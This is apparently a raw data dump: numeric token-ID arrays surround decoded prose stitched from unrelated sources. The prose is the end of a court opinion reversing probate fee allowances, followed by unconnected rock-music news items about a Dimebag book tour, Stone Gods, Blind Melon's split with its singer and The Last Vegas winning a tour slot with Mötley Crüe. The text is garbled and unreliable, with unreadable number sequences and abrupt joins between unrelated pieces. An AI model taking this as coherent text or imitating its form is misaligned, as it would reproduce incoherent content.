2509, 247, 1984, 15428, 4892, 387, 253, 1563, 8238, 27, 187, 187, 883, 16, 1093, 1108, 11366, 9384, 45013, 313, 40939, 253, 25961, 10, 15878, 18088, 13, 24671, 187, 187, 883, 16, 746, 1108, 9567, 22900, 313, 12428, 285, 673, 308, 6327, 10, 8742, 9757, 13, 6582, 187, 187, 883, 16, 1797, 1108, 9567, 22900, 313, 12428, 285, 673, 308, 6327, 10, 16700, 13, 19685, 187, 187, 883, 16, 1423, 1108, 9567, 22900, 313, 12428, 285, 673, 308, 6327, 10, 32880, 13, 10310, 187, 187, 9063, 896, 323, 625, 1491, 327, 3242, 8593, 285, 2069, 15, 831, 1984, 2007, 25097, 399, 553, 22738, 457, 84, 25893, 3708, 347, 581, 273, 253, 954, 3076, 718, 5561, 398, 2455, 2, 844, 3524, 281, 923, 368, 512, 627, 2, 187, 187, 22832, 5561, 398, 3915, 11147, 43360, 52, 452, 816, 644, 6138, 347, 253, 2022, 1329, 281, 13242, 8100, 3915, 11147, 5642, 8015, 58, 327, 616, 5591, 4892, 1735, 1770, 4672, 187, 187, 26747, 327, 253, 3971, 342, 48739, 466, 1481, 67, 11207, 49847, 35, 11862, 6603, 13, 253, 6068, 588, 760, 452, 247, 3618, 1551, 1078, 16116, 253, 3971, 2378, 625, 19639, 2369, 1551, 323, 253, 10369, 5561, 249, 457, 2, 187, 187, 1147, 556, 644, 271, 14331, 807, 273, 26751, 323, 253, 14963, 38778, 1108, 616, 11386, 3727, 13, 253, 2802, 44441, 380, 45165, 457, 16602, 13, 4211, 562, 1561, 3038, 273, 1469, 327, 7289, 285, 4352, 253, 5591, 9384, 28525, 387, 1180, 374, 15, 380, 3961, 4546, 19725, 13645, 5239, 387, 436, 807, 457, 84, 21578, 285, 41910, 273, 411, 429, 43149, 25786, 285, 3912, 433, 342, 22484, 14763, 3555, 14930, 15, 7160, 11386, 5400, 369, 4439, 275, 4163, 281, 4619, 285, 6264, 2323, 15, 1244, 281, 1755, 352, 512, 13, 597, 2959, 40229, 41487, 323, 253, 4695, 27015, 9384, 20308, 18165, 313, 17277, 1457, 16804, 285, 33500, 4683, 380, 10519, 25246, 187, 187, 688, 247, 5311, 9269, 327, 44892, 8359, 251, 457, 84, 619, 5641, 3239, 18879, 15382, 7054, 14469, 27, 19121, 46753, 253, 3961, 6138, 597, 574, 39301, 4088, 342, 17898, 382, 35382, 17966, 15, 4794, 281, 253, 3961, 13, 597, 574, 281, 14002, 767, 3618, 4409, 273, 12282, 984, 17966, 369, 1907, 13386, 3237, 533, 3185, 273, 1563, 521, 7345, 457, 84, 7535, 285, 18180, 521, 13386, 17966, 4821, 5931, 10470, 13, 1060, 310, 247, 14430, 432, 253, 3961, 773, 13618, 8231, 247, 659, 4614, 400, 26548, 1066, 35382, 457, 84, 13386, 13, 533, 253, 6612, 310, 326, 344, 26574, 352, 751, 247, 7154, 43392, 29203, 47121, 15, 733, 310, 1077, 2834, 281, 6558, 247, 26565, 36467, 10130, 1223, 5931, 10470, 15, 18365, 187, 187, 510, 3961, 3597, 281, 873, 17966, 598, 342, 247, 19616, 281, 1056, 2119, 3253, 369, 10826, 342, 521, 13386, 1078, 4983, 253, 4892, 896, 598, 15, 17966, 8505, 24294, 745, 521, 11526, 14286, 13, 840, 6331, 26728, 342, 253, 3961, 17965, 15, 6610, 846, 767, 3618, 273, 2820, 281, 1056, 3057, 342, 779, 13, 17966, 18203, 253, 3961, 457, 84, 7205, 285, 2556, 281, 253, 3961, 17966, 753, 253, 1563, 1309, 247, 1384, 7017, 7827, 773, 53, 3385, 261, 4767, 326, 604, 359, 4571, 457, 85, 2096, 326, 344, 3058, 436, 673, 281, 2994, 13, 840, 344, 1904, 457, 85, 971, 281, 320, 275, 247, 3961, 342, 441, 10542, 15, 754, 19375, 670, 1146, 762, 21470, 285, 689, 45260, 313, 664, 512, 1056, 253, 1072, 2181, 285, 359, 512, 789, 347, 1892, 347, 344, 1057, 481, 754, 753, 326, 344, 1904, 457, 85, 971, 281, 1132, 253, 1982, 10542, 285, 326, 344, 369, 762, 14, 1212, 2845, 4215, 15, 754, 19375, 670, 4882, 253, 1072, 9575, 275, 253, 1072, 15918, 1425, 187, 187, 5622, 527, 8359, 251, 3597, 281, 1978, 616, 4892, 327, 10130, 407, 2970, 11007, 1608, 2966, 13, 1421, 16057, 323, 914, 1245, 15977, 13, 281, 7522, 275, 323, 17966, 13, 533, 352, 8058, 281, 320, 271, 7479, 4836, 323, 1608, 2966, 281, 3037, 253, 3961, 457, 84, 4498, 275, 247, 11019, 767, 1897, 15, 4794, 281, 253, 3961, 773, 1231, 403, 14002, 272, 253, 4892, 30227, 285, 588, 1024, 1265, 281, 42553, 776, 1039, 562, 273, 436, 14779, 4840, 15, 844, 588, 452, 625, 3668, 670, 752, 776, 5827, 403, 8664, 253, 2852, 436, 2129, 15, 844, 457, 250, 7016, 323, 253, 13775, 13, 253, 3076, 362, 487, 265, 13, 253, 14562, 285, 253, 1339, 3487, 84, 15, 844, 2096, 253, 27531, 285, 12700, 326, 368, 1928, 4404, 441, 15, 844, 403, 11790, 285, 19271, 1512, 15, 844, 4388, 281, 1056, 352, 598, 281, 368, 3517, 49168, 1231, 457, 250, 1469, 327, 247, 9455, 285, 359, 457, 620, 3324, 368, 896, 1633, 1270, 18780, 1425, 187, 187, 1909, 1900, 627, 403, 767, 7123, 281, 1046, 2926, 285, 436, 310, 253, 3961, 457, 84, 2715, 15, 1707, 310, 642, 3159, 347, 2568, 604, 35382, 17966, 588, 320, 2403, 247, 3908, 9628, 521, 1930, 273, 253, 2926, 15, 1422, 476, 1239, 253, 2862, 5311, 407, 12669, 562, 44892, 8359, 251, 457, 84, 619, 5641, 3239, 15, 187, 187, 688, 2914, 273, 247, 5350, 9539, 387, 253, 1533, 14, 71, 14919, 1536, 1886, 90, 329, 14, 6826, 14, 6826, 13, 3426, 342, 3440, 4491, 23592, 358, 7380, 13, 443, 36567, 5197, 285, 353, 45403, 53, 29587, 6246, 127, 239, 38, 4236, 3003, 12226, 1267, 16197, 40, 1719, 432, 8068, 13, 11545, 347, 253, 13688, 273, 443, 36567, 5197, 1623, 14, 30635, 1390, 2360, 15, 187, 187, 5279, 253, 2469, 4314, 3618, 13, 10604, 2439, 253, 1986, 2077, 9262, 616, 3440, 387, 24320, 825, 22328, 15, 681, 15, 4325, 2810, 281, 854, 13, 933, 35103, 13, 1884, 10020, 14, 13017, 1346, 497, 4236, 13, 534, 497, 840, 34774, 1066, 281, 253, 2800, 1755, 3807, 2865, 3111, 10604, 275, 253, 2586, 13, 342, 3003, 12226, 1267, 16197, 40, 1719, 27274, 347, 253, 581, 3961, 6777, 323, 253, 12553, 13, 5249, 30897, 5107, 1905, 253, 4839, 281, 1527, 327, 4892, 323, 5561, 27559, 353, 45403, 53, 29587, 6246, 127, 239, 38, 15, 187, 187, 688, 1635, 281, 253, 15239, 327, 353, 45403, 53, 29587, 6246, 127, 239, 38, 8924, 84, 4748, 773, 41676, 84, 4683, 8742, 9757, 668, 530, 15, 52, 15, 4892, 313, 24275, 281, 320, 6138, 327, 6794, 13, 4596, 1638, 582, 3003, 12226, 1267, 16197, 40, 1719, 671, 3936, 1728, 370, 1099, 13, 933, 7942, 13, 370, 938, 13, 933, 275, 11855, 747, 12317, 432, 29215, 443, 2338, 1032, 13, 4323, 432, 49211, 5720, 23890, 13, 285, 247, 7663, 2968, 432, 49075, 20400, 11412, 15, 496, 2032, 6246, 127, 239, 38, 8142, 13, 3003, 12226, 1267, 16197, 40, 1719, 671, 1119, 562, 326, 616, 5249, 310, 12832, 1469, 432, 773, 17, 668, 281, 773, 1549, 668, 13463, 285, 588, 320, 5909, 323, 253, 32566, 5561, 398, 387, 253, 14759, 42745, 12044, 275, 8742, 9757, 436, 6794, 13, 4596, 1638, 15, 380, 3961, 588, 1924, 697, 806, 2014, 4745, 15, 733, 588, 320, 2130, 347, 247, 5542, 327, 329, 3271, 327, 4596, 2164, 285, 347, 247, 6184, 327, 33139, 407, 4596, 2030, 15, 187, 187, 40, 36567, 5197, 1623, 14, 30635, 310, 247, 22564, 5147, 323, 1963, 1037, 660, 20309, 285, 25251, 15146, 13, 10698, 10846, 275, 253, 3440, 4491, 15, 380, 2800, 2457, 10604, 1016, 2684, 1264, 9575, 3153, 323, 616, 2442, 4892, 41730, 285, 9022, 641, 13, 353, 45403, 53, 29587, 6246, 127, 239, 38, 15, 1723, 13, 352, 369, 3003, 12226, 1267, 16197, 40, 1719, 326, 7777, 26044, 253, 2360, 15, 187, 187, 1628, 510, 4583, 12816, 285, 2341, 273, 3003, 12226, 1267, 16197, 40, 1719, 49634, 776, 12656, 1806, 753, 353, 45403, 53, 29587, 6246, 127, 239, 38, 8924, 84, 42135, 26298, 15, 773, 46, 45403, 53, 29587, 6246, 127, 239, 38, 310, 9049, 281, 1509, 253, 30162, 327, 281, 841, 8644, 20230, 13, 816, 347, 31683, 3847, 858, 323, 441, 689, 2030, 1107, 3622, 1425, 187, 187, 27315, 266, 388, 1432, 12987, 13, 9463, 49, 285, 9060, 25694, 12743, 323, 443, 36567, 5197, 4879, 13, 773, 1231, 403, 30607, 342, 253, 6454, 273, 253, 11386, 273, 253, 443, 36567, 5197, 1623, 14, 30635, 15952, 15, 380, 4737, 310, 275, 253, 2408, 273, 7458, 285, 10604, 326, 2692, 616, 1329, 327, 253, 24320, 825, 22328, 15, 681, 2670, 1905, 342, 689, 6783, 13, 933, 4451, 12942, 591, 1770, 15, 3105, 760, 369, 436, 776, 954, 24683, 2086, 281, 3522, 13, 533, 671, 594, 34873, 281, 2085, 247, 5147, 326, 41217, 598, 285, 3551, 10604, 432, 2439, 253, 5674, 13, 285, 1024, 323, 3003, 12226, 1267, 16197, 40, 1719, 15, 1623, 14, 30635, 10880, 247, 2201, 41457, 275, 443, 36567, 5197, 8924, 84, 2892, 323, 8109, 29781, 4261, 10846, 1425, 187, 187, 1628, 4509, 253, 5203, 285, 4323, 8668, 1806, 753, 14272, 611, 729, 317, 13, 11731, 285, 401, 10117, 273, 49211, 5720, 23890, 285, 49075, 20400, 11412, 13, 773, 1231, 403, 2819, 3579, 281, 8109, 3003, 12226, 1267, 16197, 40, 1719, 13, 285, 3192, 253, 1735, 5018, 281, 2007, 8027, 616, 5249, 285, 1329, 731, 342, 16694, 9137, 13, 5553, 14892, 13, 1345, 2493, 285, 273, 2282, 13828, 731, 323, 253, 4892, 273, 616, 4852, 1905, 342, 353, 45403, 53, 29587, 6246, 127, 239, 38, 11602, 187, 187, 1779, 324, 37738, 13, 1421, 16057, 273, 3003, 12226, 1267, 16197, 40, 1719, 13, 753, 13, 773, 40, 36567, 5197, 1623, 14, 30635, 556, 644, 271, 8644, 9455, 594, 2080, 285, 359, 403, 816, 2970, 3053, 15, 733, 310, 1892, 281, 15909, 987, 1024, 13, 533, 359, 871, 776, 4852, 403, 1469, 281, 4336, 1818, 15, 3954, 359, 403, 4704, 281, 1691, 327, 247, 17830, 3153, 921, 285, 403, 4704, 281, 5561, 387, 253, 14759, 42745, 12044, 1425, 187, 187, 8693, 2360, 13, 27238, 1535, 3938, 6138, 326, 1594, 46, 3156, 380, 378, 2153, 472, 310, 1469, 281, 320, 5176, 745, 273, 253, 1594, 46, 13951 ]

the sum of $950 which was allowed for ordinary and extraordinary services of the attorney in connection with the supplemental account. It cannot be determined from the order how much of the $950 was allowed for such extraordinary fees. Since $150 was asked by the attorney as ordinary fees in the 25th account, it is to be assumed that the ordinary fees allowed for his services in the supplemental account would be a similar amount and therefore the major part of the $950 was allowed for extraordinary fees. The order directing distribution of the trust property, and the order allowing the trustee $888.45 as a distribution fee, are reversed. The order allowing $950 to the attorney for ordinary and extraordinary fees is reversed insofar as it includes an allowance for extraordinary fees. Shinn, P. J., and Vallee, J., concurred. NOTES [fn. 1] 1. Section 229 of the Probate Code provides: "If the decedent leaves neither spouse nor issue, and the estate or any portion thereof was separate property of a previously deceased spouse, and came to the decedent from such spouse by gift... such property goes in equal shares to the children of the deceased spouse...." This is an official announcement from Big Vin Records to let you know that in just 13 days, the ONLY official book about DIMEBAG, “He Came To Rock” will be hitting store shelves (Best Buy, Borders, Hot Topic, Amazon, Hastings and many others). If you’re too lazy or can’t make it to one of these outlets you can always order online directly from BigVinRecords.com. The book is a photo gallery assembled from private and personal collections from friends and family as well as submissions from some of the world’s best photographers along with the stories behind the photos. Also included is a revised version of Dimevision on DVD that now includes some never before seen bonus clips made by Dime! To launch the release of the book, Vinnie Paul will be doing a book signing tour at the following cities: 11/18 – Hard Rock Cafe (outside the casino) Las Vegas, NV 11/19 – Best Buy (location and time TBA) Los Angeles, CA 11/21 – Best Buy (location and time TBA) Dallas, TX 11/22 – Best Buy (location and time TBA) NYC, NY Check back for more information on exact locations and times. This book further establishes Dimebag’s legendary status as one of the most bad ass rockers ever! We hope to see you all there! British rockers STONE GODS have just been announced as the main support to BLACK STONE CHERRY on their UK tour next month!! Currently on the road with Aussie headbangers AIRBOURNE, the guys will only have a weeks rest before hitting the road once more….no rest for the seriously rockin’! It has been an incredible year of achievements for the Stone Gods – their debut release, the ‘Burn The Witch’ EP, sold out within hours of going on sale and hit the UK Rock Chart at number 2. The band played triumphant sets at this year’s Download and Isle of Wight Festivals and toured with Velvet Revolver. Their debut album was released in July to critical and commercial success. And to top it all, they received TWO nominations for the 2008 Classic Rock Magazine Awards (Best New Band and Album Of The Year)! In a blog posted on Blind Melon’s myspace page titled Heartbreak Hotel: Room 667 the band announced they had parted ways with vocalist Travis Warren. According to the band, they had to cancel two weeks worth of dates because Warren was having throat problems but instead of following his doctor’s advice and resting his throat Warren continued chain smoking, here is a quote from the band “God dropped a Stradivarius down Travis’s throat, but the reality is that he treats it like a broken pawnshop fiddle. It is very difficult to maintain a rigorous touring schedule while chain smoking. ” The band tried to set Warren up with a specialist to make sure everything was OK with his throat before starting the tour back up. Warren apparently blew off his scheduled appointment, then stopped communicating with the band altogether. Finally after two weeks of trying to make contact with him, Warren contacted the band’s manager and according to the band Warren said the following during a 20 minute conversation “Travis stated that if we couldn’t understand that he needed this time to himself, then he didn’t want to be in a band with us anymore. He complained about being underpaid and overworked (we all make the same thing and we all work as hard as he does). He said that he didn’t want to play the US anymore and that he was under-appreciated. He complained about playing the same songs in the same towns.” Blind Melon tried to keep their tour on schedule by getting Chris Shinn, lead singer for Unified Theory, to fill in for Warren, but it proved to be an impossible task for Shinn to learn the band’s song in a mere two days. According to the band “We are canceling the tour outright and will now start to shovel our way out of this enormous mess. We will have more news about what our plans are concerning the future this week. We’re sorry for the confusion, the bad vibes, the drama and the letdowns. We understand the disappointment and anger that you feel towards us. We are angry and disappointed too. We aim to make it up to you soon…..We’re going on a journey and we’ll bring you back something great…….” As always there are two sides to every story and this is the band’s version. There is no word as yet if Travis Warren will be making a statement sharing his side of the story. You can read the entire blog by checking out Blind Melon’s myspace page. In front of a capacity crowd at the world-famous Whisky A-Go-Go, complete with music industry tastemakers, Guitar Center and MÖTLEY CRÜE selected THE LAST VEGAS from Chicago, Illinois as the winner of Guitar Center On-Stage last night. Over the past eight weeks, bands across the United States submitted their music at makerockhistory.com. From close to 8,000 submissions, 30 semi-finalists were selected, which were then narrowed down to the six top undiscovered bands in the country, with THE LAST VEGAS prevailing as the one band chosen for the ultimate, career altering opportunity — the chance to open on tour for rock icons MÖTLEY CRÜE. In addition to the slot on MÖTLEY CRÜE‘s 2009 “Saints Of Los Angeles” U.S. tour (dates to be announced on Friday, November 14), THE LAST VEGAS also takes home $25,000 cash, $20,000 in exclusive new gear from Gibson Guitars, management from Tenth Street Entertainment, and a recording deal from Eleven Seven Music. In true CRÜE fashion, THE LAST VEGAS also found out that their career is literally going from “0” to “60” overnight and will be opening for the notorious rockers at the Hollywood Palladium in Los Angeles this Friday, November 14. The band will record its first single immediately. It will be available as a stream on AOL on November 24 and as a download on iTunes by November 25. Guitar Center On-Stage is a revolutionary platform for organically scouting and launching upcoming, unsigned artists in the music industry. The six final bands each performed three songs live for their potential tour mates and mentors, MÖTLEY CRÜE. However, it was THE LAST VEGAS that truly stole the night. “The overall talent and energy of THE LAST VEGAS surpassed our expectations,” said MÖTLEY CRÜE‘s Vince Neil. “MÖTLEY CRÜE is excited to pass the torch on to these amazing musicians, just as Ozzy did for us over 25 years ago.” Norman Hajjar, EVP and Chief Marketing Officer for Guitar Center noted, “We are thrilled with the outcome of the debut of the Guitar Center On-Stage initiative. The proof is in the amount of fans and bands that showed their support on the makerockhistory.com site — with over 500,000 unique visitors per month. Not only was this our most ambitious program to date, but also so fulfilling to provide a platform that discovers up and coming bands from across the nation, and now for THE LAST VEGAS. On-Stage marks a major milestone in Guitar Center‘s history for supporting aspiring artists.” “From the label and management perspective,” said Allen Kovac, CEO and Founder of Tenth Street Entertainment and Eleven Seven Music, “We are looking forward to supporting THE LAST VEGAS, and taking the next steps to further launch their career and support them with innovative marketing, radio promotion, public relations and of course preparing them for the tour of their lives — with MÖTLEY CRÜE!” Chad Cherry, lead singer of THE LAST VEGAS, said, “Guitar Center On-Stage has been an amazing journey so far and we are just getting started. It is hard to grasp right now, but we know our lives are going to completely change. Now we are ready to put on a killer live show and are ready to rock at the Hollywood Palladium.” Last night, Eddie Trunk announced that XM41 The Boneyard is going to be removed off of the XM Radio

[ 657, 43007, 1322, 534, 12372, 327, 3388, 7584, 15, 22, 5294, 9523, 15, 23, 5294, 11087, 15, 25, 5294, 11087, 15, 25, 5294, 3285, 15, 24, 6, 285, 10909, 15, 23, 5294, 2975, 15, 1876, 643, 19308, 398, 12372, 689, 8688, 6, 273, 1016, 9128, 275, 253, 3114, 313, 14087, 575, 3140, 575, 60, 23, 1084, 13270, 23, 910, 709, 14, 881, 568, 8236, 28479, 5317, 322, 18, 481, 187, 187, 2019, 14356, 15981, 273, 253, 767, 23524, 8354, 21885, 1246, 387, 2406, 4103, 11921, 16318, 1534, 3910, 275, 253, 3388, 1180, 273, 801, 1241, 2439, 512, 25502, 273, 253, 11248, 64, 28059, 1229, 285, 11248, 64, 28835, 1423, 21885, 7147, 643, 2758, 273, 253, 3114, 2796, 81, 11, 1318, 1186, 30, 1186, 17, 15, 20826, 481, 2053, 21885, 12322, 271, 3388, 273, 7609, 15, 24, 1186, 3069, 1186, 1093, 15, 22, 285, 898, 15, 21, 1186, 3069, 1186, 938, 15, 21, 801, 1241, 591, 2233, 1186, 22421, 13, 1223, 512, 643, 21885, 12819, 271, 3388, 273, 818, 15, 25, 1186, 3069, 1186, 1093, 15, 26, 801, 1241, 591, 2233, 1186, 22421, 15, 380, 1698, 17829, 23524, 8354, 21885, 11248, 64, 28059, 1229, 285, 11248, 64, 28835, 1423, 671, 12819, 253, 4585, 3388, 19412, 32358, 591, 2233, 1186, 22421, 387, 20995, 15, 24, 1186, 3069, 1186, 20, 285, 29044, 15, 22, 1186, 3069, 1186, 740, 15, 24, 13, 2975, 313, 14087, 575, 3140, 575, 60, 23, 1084, 13270, 23, 910, 709, 14, 881, 568, 8236, 28479, 5317, 322, 18, 481, 187, 187, 510, 4248, 273, 27159, 2540, 407, 657, 43007, 1322, 285, 353, 3027, 34, 275, 13031, 378, 369, 2406, 685, 275, 13031, 329, 342, 247, 1599, 273, 337, 15, 20, 1186, 3069, 1186, 17, 15, 2511, 285, 608, 15, 20, 1186, 3069, 1186, 24, 15, 24, 523, 17638, 591, 9128, 13, 2975, 15, 330, 7988, 42283, 9128, 611, 39, 1229, 938, 1671, 275, 13031, 378, 313, 2031, 523, 17638, 582, 533, 281, 247, 16277, 4248, 685, 13031, 329, 313, 14231, 523, 17638, 481, 10616, 7283, 41, 1433, 13, 534, 12372, 387, 1878, 10508, 6, 273, 512, 21885, 275, 13031, 329, 13, 671, 12372, 689, 10508, 6, 273, 512, 21885, 275, 13031, 378, 3707, 323, 253, 23524, 8354, 9128, 11248, 64, 28835, 1423, 13, 273, 534, 8026, 15, 22, 6, 369, 12372, 275, 767, 523, 17638, 15, 380, 5020, 273, 25502, 12322, 20825, 15, 26, 1186, 3069, 1186, 17, 285, 32047, 1186, 3069, 1186, 18, 19412, 32358, 591, 2233, 1186, 22421, 323, 11248, 64, 28059, 1229, 285, 11248, 64, 28835, 1423, 313, 8656, 11921, 23524, 8354, 582, 2975, 13, 8931, 2193, 281, 1110, 4080, 275, 13031, 329, 15, 22484, 14763, 285, 30680, 37599, 14763, 497, 16022, 342, 25921, 15, 19, 285, 854, 1549, 15, 19, 323, 9128, 11248, 64, 28835, 1423, 285, 11248, 64, 28059, 1229, 15, 329, 2074, 3102, 273, 1029, 2193, 2439, 247, 6891, 2491, 369, 671, 2540, 342, 253, 1180, 273, 801, 1241, 13, 342, 7584, 15, 20, 281, 4567, 15, 26, 1246, 275, 512, 25502, 11248, 64, 28059, 1229, 15, 36921, 11248, 64, 28835, 1423, 12819, 1283, 15, 3011, 801, 1241, 2439, 512, 322, 4899, 3229, 25502, 313, 455, 3602, 10, 285, 854, 1549, 15, 19, 2439, 1097, 22484, 14763, 285, 6365, 8526, 14763, 25502, 15, 1876, 643, 19308, 398, 534, 8379, 12372, 436, 9128, 858, 417, 4735, 667, 801, 1241, 313, 14087, 575, 3140, 575, 60, 23, 1084, 13270, 23, 910, 709, 14, 881, 568, 8236, 28479, 5317, 322, 18, 481, 187, 187, 50, 1610, 1712, 4538, 22, 94, 187, 1532, 187, 187, 25438, 19308, 398, 4242, 281, 6635, 523, 17638, 534, 1313, 12420, 26682, 285, 497, 9674, 10432, 432, 2007, 1783, 13, 10775, 329, 3463, 3528, 2796, 76, 4842, 961, 9654, 582, 329, 3463, 3528, 2796, 76, 4842, 961, 15610, 582, 8717, 2088, 3354, 19975, 19, 13, 22484, 14763, 285, 30680, 37599, 14763, 15, 1876, 5780, 19308, 398, 12372, 689, 5091, 6, 273, 253, 48649, 1165, 1610, 9128, 342, 253, 6517, 273, 353, 3027, 34, 313, 25, 15, 22, 10970, 11067, 19308, 398, 12372, 689, 8688, 6, 273, 253, 1165, 1610, 9128, 275, 247, 2014, 32898, 1532, 4350, 34, 3229, 313, 13518, 10, 8688, 15, 3566, 5294, 10616, 7283, 41, 1433, 313, 1525, 15, 23, 9498, 657, 43007, 1322, 313, 1525, 15, 23, 9498, 10734, 30680, 313, 1525, 15, 23, 9498, 330, 7988, 313, 1525, 15, 22, 2673, 285, 15763, 784, 313, 1525, 15, 18, 10, 313, 1470, 15, 575, 60, 20, 1084, 1470, 20, 910, 709, 14, 881, 568, 926, 2536, 1723, 13, 760, 10616, 7283, 41, 1433, 17412, 253, 1165, 1610, 9128, 342, 247, 32898, 4503, 275, 2978, 281, 253, 9128, 3139, 15, 322, 4899, 3229, 313, 13518, 10, 285, 330, 7988, 4561, 25502, 12217, 685, 253, 3806, 9128, 407, 11614, 285, 21886, 14395, 15, 657, 43007, 1322, 313, 24, 1508, 582, 15763, 784, 313, 1166, 2082, 10, 285, 10734, 30680, 313, 26, 34305, 10, 1016, 4561, 25502, 3356, 685, 253, 3806, 9128, 15, 322, 4899, 3229, 313, 6986, 582, 322, 4899, 3229, 313, 20199, 894, 582, 5417, 6327, 530, 37, 285, 322, 4899, 3229, 313, 20199, 894, 559, 10182, 10, 1016, 17412, 1165, 1610, 275, 374, 13, 495, 13, 577, 13, 608, 285, 608, 523, 17638, 13, 2975, 15, 10734, 30680, 285, 657, 43007, 1322, 25502, 574, 253, 8840, 1180, 273, 19412, 32358, 285, 801, 1241, 591, 2233, 1186, 22421, 28, 2299, 13, 10734, 30680, 12322, 253, 4585, 2281, 273, 3731, 284, 14575, 447, 313, 9389, 774, 47575, 13, 581, 27697, 481, 1876, 19308, 398, 12819, 247, 5927, 273, 581, 1980, 3731, 26164, 342, 253, 6517, 273, 322, 4899, 3229, 313, 13518, 10, 534, 858, 417, 4735, 667, 15, 380, 2800, 1682, 25502, 273, 253, 1165, 1610, 9128, 285, 253, 9128, 3139, 403, 2753, 1866, 280, 313, 20261, 13949, 327, 253, 8107, 23186, 582, 285, 253, 1265, 285, 990, 1127, 497, 417, 14900, 313, 1470, 15, 575, 60, 20, 1084, 1470, 20, 910, 709, 14, 881, 568, 926, 2536, 1470, 15, 495, 46, 1952, 306, 3453, 273, 253, 1165, 1610, 3806, 9128, 313, 3956, 10, 2112, 342, 273, 253, 2800, 19308, 398, 534, 12372, 8994, 1186, 1525, 6, 273, 253, 9128, 342, 247, 2014, 32898, 15, 14184, 4811, 3345, 273, 12171, 847, 8172, 8336, 534, 513, 417, 3894, 23117, 281, 253, 3806, 9128, 403, 16318, 407, 247, 2806, 19270, 15, 38898, 13503, 273, 25502, 275, 253, 7285, 11259, 281, 253, 3806, 497, 17944, 323, 5304, 5837, 6378, 313, 55, 43007, 1322, 13, 330, 7988, 13, 15763, 784, 10, 187, 187, 5703, 6864, 1783, 313, 2606, 285, 21325, 10, 1712, 4538, 23, 94, 187, 33250, 187, 187, 1909, 14575, 398, 497, 2429, 323, 8542, 414, 407, 10499, 253, 673, 281, 3986, 12240, 285, 4869, 21325, 10393, 3066, 1740, 3863, 5875, 1966, 11479, 2177, 37361, 1254, 1311, 2405, 1184, 285, 2710, 12184, 24484, 15, 733, 1364, 320, 4879, 326, 512, 7796, 8892, 497, 18564, 2620, 17059, 28, 2299, 13, 31238, 253, 1180, 273, 17059, 858, 417, 1818, 253, 1180, 273, 17059, 908, 407, 2176, 5659, 15, 30680, 37599, 14763, 369, 417, 2908, 275, 436, 1783, 347, 352, 4242, 281, 3986, 12240, 846, 3515, 323, 818, 1186, 11015, 15, 330, 7988, 285, 15763, 784, 497, 2684, 327, 247, 15439, 4382, 285, 3103, 10432, 432, 673, 285, 21325, 1783, 15, 39029, 310, 7976, 2220, 253, 1180, 273, 9563, 13, 285, 436, 310, 8127, 4872, 275, 4311, 342, 625, 9563, 4283, 281, 271, 2559, 7796, 673, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 66, 481, 353, 3027, 34, 285, 657, 43007, 1322, 313, 1470, 15, 544, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 66, 5669, 10, 497, 253, 3468, 383, 342, 353, 3027, 34, 3192, 689, 1458, 2069, 3356, 685, 253, 643, 3694, 281, 31237, 495, 15, 22, 3041, 9563, 15, 8717, 2088, 3354, 19975, 19, 574, 253, 30505, 12240, 673, 3560, 407, 5417, 6327, 530, 37, 285, 22484, 14763, 15, 5595, 19308, 398, 497, 5185, 2439, 3530, 313, 45912, 3066, 2228, 8965, 10, 342, 253, 6517, 273, 353, 3027, 34, 285, 10734, 30680, 15, 353, 3027, 34, 13, 657, 43007, 1322, 285, 22484, 14763, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 67, 5669, 10, 574, 253, 4585, 2781, 21325, 10393, 13, 1223, 253, 8840, 369, 10734, 30680, 13, 5417, 6327, 530, 37, 285, 322, 4899, 3229, 313, 13518, 10, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 67, 481, 380, 5020, 273, 19308, 398, 2540, 247, 4872, 4311, 3102, 2074, 281, 326, 273, 20243, 15, 1470, 15, 577, 424, 66, 424, 6865, 13, 4080, 275, 7253, 13, 323, 1016, 7796, 281, 3986, 12240, 8379, 323, 1016, 1239, 8578, 15, 1401, 67, 424, 380, 4869, 21325, 13, 4080, 275, 15255, 13, 908, 323, 1016, 7796, 323, 1016, 1239, 8578, 15, 1401, 68, 424, 9601, 427, 1235, 2978, 285, 1401, 69, 424, 1599, 32898, 2978, 323, 1740, 3530, 323, 1016, 7796, 2439, 253, 1239, 20077, 846, 19690, 523, 17638, 1679, 685, 9098, 14395, 15, 31411, 1957, 253, 1599, 673, 323, 253, 1740, 3530, 1223, 2228, 8965, 403, 253, 2629, 2228, 187, 187, 5703, 6864, 1783, 427, 1235, 285, 20088, 32898, 2978, 1712, 4538, 24, 94, 187, 44136, 187, 187, 2214, 1097, 253, 427, 1235, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 68, 10, 285, 253, 20088, 32898, 2978, 313, 1470, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 986, 69, 582, 627, 369, 247, 1781, 2408, 273, 7629, 875, 3530, 323, 253, 5020, 273, 19308, 398, 15, 380, 20088, 32898, 2978, 2692, 247, 1781, 2572, 387, 253, 2457, 12184, 6864, 15, 3512, 8070, 19308, 398, 13, 10775, 322, 4899, 3229, 313, 6986, 582, 322, 4899, 3229, 313, 13518, 582, 10616, 7283, 41, 1433, 285, 329, 3463, 3528, 2796, 76, 4842, 961, 15610, 582, 4197, 3356, 523, 17638, 347, 253, 3425, 6864, 369, 2559, 15, 187, 187, 14146, 1712, 4538, 25, 94, 187, 6428, 187, 187, 10195, 10741, 1313, 6533, 4986, 7796, 14023, 452, 16318, 326, 253, 4327, 273, 19308, 254, 556, 247, 1534, 3486, 327, 15450, 1783, 285, 253, 7200, 273, 253, 25578, 1313, 6533, 485, 1254, 1311, 1010, 1092, 1008, 1311, 1619, 1092, 1008, 1311, 1610, 1092, 1008, 1311, 3439, 1656, 844, 452, 1119, 436, 671, 281, 320, 2032, 323, 9907, 1313, 6533, 6819, 13, 835, 7899, 285, 3426, 7796, 403, 273, 1798, 6349, 1677, 253, 3480, 273, 9907, 6779, 275, 3806, 16634, 15, 17721, 5450, 2175, 3469, 11306, 327, 253, 7796, 3213, 285, 7081, 1142, 3386, 534, 403, 11132, 281, 5547, 7796, 15, 496, 436, 1263, 13, 359, 2429, 253, 3045, 273, 1110, 19308, 398, 908, 281, 3522, 275, 1966, 9907, 1313, 6533, 19177, 2175, 970, 15302, 273, 1929, 285, 